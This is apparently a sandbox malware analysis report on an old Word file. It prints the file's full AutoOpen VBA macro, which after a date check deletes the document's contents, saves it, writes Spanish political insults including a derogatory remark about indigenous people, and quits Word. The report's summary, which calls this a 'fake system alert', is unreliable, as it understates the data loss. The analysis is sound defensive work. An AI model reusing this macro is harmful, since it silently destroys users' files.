Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 64a9aec9862409b1…

MALICIOUS

Office (OLE)

38.5 KB Created: 2001-09-02 19:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3429bc76731c526336ea776a593e907a SHA-1: d8ed947975966efba7d20634c532165b8c8fca8c SHA-256: 64a9aec9862409b186c962c229a2e9c7ceb45fc19df3dcf30020ca56cf1f4ff3
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro that executes the AutoOpen subroutine. This macro attempts to display a fake system alert message and then closes the application. The macro's logic is tied to the current date, suggesting a time-based lure or a specific event trigger. No external network activity or further payload execution was detected from the static analysis.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1676 bytes
SHA-256: e462ef2ba200552507c8b8b4e830e1e5ddb90a771a5a33bcd30cc404c97b5e3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro grabada el 02/09/01 por Norma Zamudio Montiel"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.AutoOpen"
'
' AutoOpen Macro
' Macro grabada el 02/09/01 por Norma Zamudio Montiel
'
CommandBars("Tools").Controls("Macro").Visible = False

If WordBasic.Day(WordBasic.Now()) > 10 And WordBasic.Month(WordBasic.Now()) > 8 Then
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    ActiveDocument.Save
    Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
    Selection.Font.ColorIndex = wdRed
    Selection.Font.Bold = wdToggle
    Selection.Font.Size = 26
    Selection.Font.Name = "Arial"
    Selection.TypeText Text:="SISTEMA e-MÉXICO"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.Font.ColorIndex = wdBlack
    Selection.Font.Bold = wdToggle
    Selection.Font.Size = 20
    Selection.Font.Name = "Times New Roman"
    Selection.TypeText Text:="INTERNET para todos los indios..."
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="...aunque no tengan que tragar!!!"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="Pinche FOX pendejete!!!"
    ActiveDocument.Save
    ActiveDocument.Close
    Application.Quit
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.